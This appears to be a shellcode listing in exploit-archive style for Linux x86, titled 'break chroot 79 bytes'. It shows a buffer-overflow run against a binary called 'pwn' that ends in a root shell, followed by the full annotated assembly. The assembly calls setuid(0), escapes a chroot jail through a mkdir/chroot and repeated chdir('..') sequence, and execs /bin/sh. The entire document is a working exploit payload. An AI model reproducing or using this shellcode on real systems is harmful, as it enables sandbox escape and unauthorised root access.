linux/x86 break chroot 79 bytes

bt:/# ./pwn `perl -e 'print "\x90"x189 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x27\x99\x52\x6a\x2e\x66\x68\x2e\x2e\x89\xe3\x66\xb9\xc0\x01\xcd\x80\xb0\x3d\x89\xe3\xcd\x80\x66\x5a\x31\xc9\x51\x66\x52\xb1\x64\xb0\x0c\x89\xe3\xcd\x80\xe2\xf8\xb0\x3d\x31\xc9\x88\x4c\x24\x01\x89\xe3\xcd\x80\xb0\x0b\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\xcd\x80" . "\xa9\xf6\xff\xbf"'`
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
root@bt:/#


; linux/x86 break chroot 79 bytes
; root@thegibson
; 2009-12-30

section .text
	global _start

_start:
	; setuid(0);
	mov al, 23
	xor ebx, ebx
	int 0x80

	; mkdir("...", 0700);
	mov al, 39
	cdq
	push edx
	push byte 0x2e
	push word 0x2e2e
	mov ebx, esp
	mov cx, 0700o
	int 0x80

	; chroot("...");
	mov al, 61
	mov ebx, esp
	int 0x80

	; for (i = 100; i > 0; i--)
	; {
	; 	chdir("..");
	; }
	pop dx
	xor ecx, ecx
	push ecx
	push dx
	mov cl, 100
	up:
		mov al, 12
		mov ebx, esp
		int 0x80
	loop up

	; chroot(".");
	mov al, 61
	xor ecx, ecx
	mov [esp + 1], cl
	mov ebx, esp
	int 0x80

	; execve("//bin/sh", 0, 0);
	mov al, 11
	xor ecx, ecx
	push ecx
	push dword 0x68732f6e
	push dword 0x69622f2f
	mov ebx, esp
	cdq
	int 0x80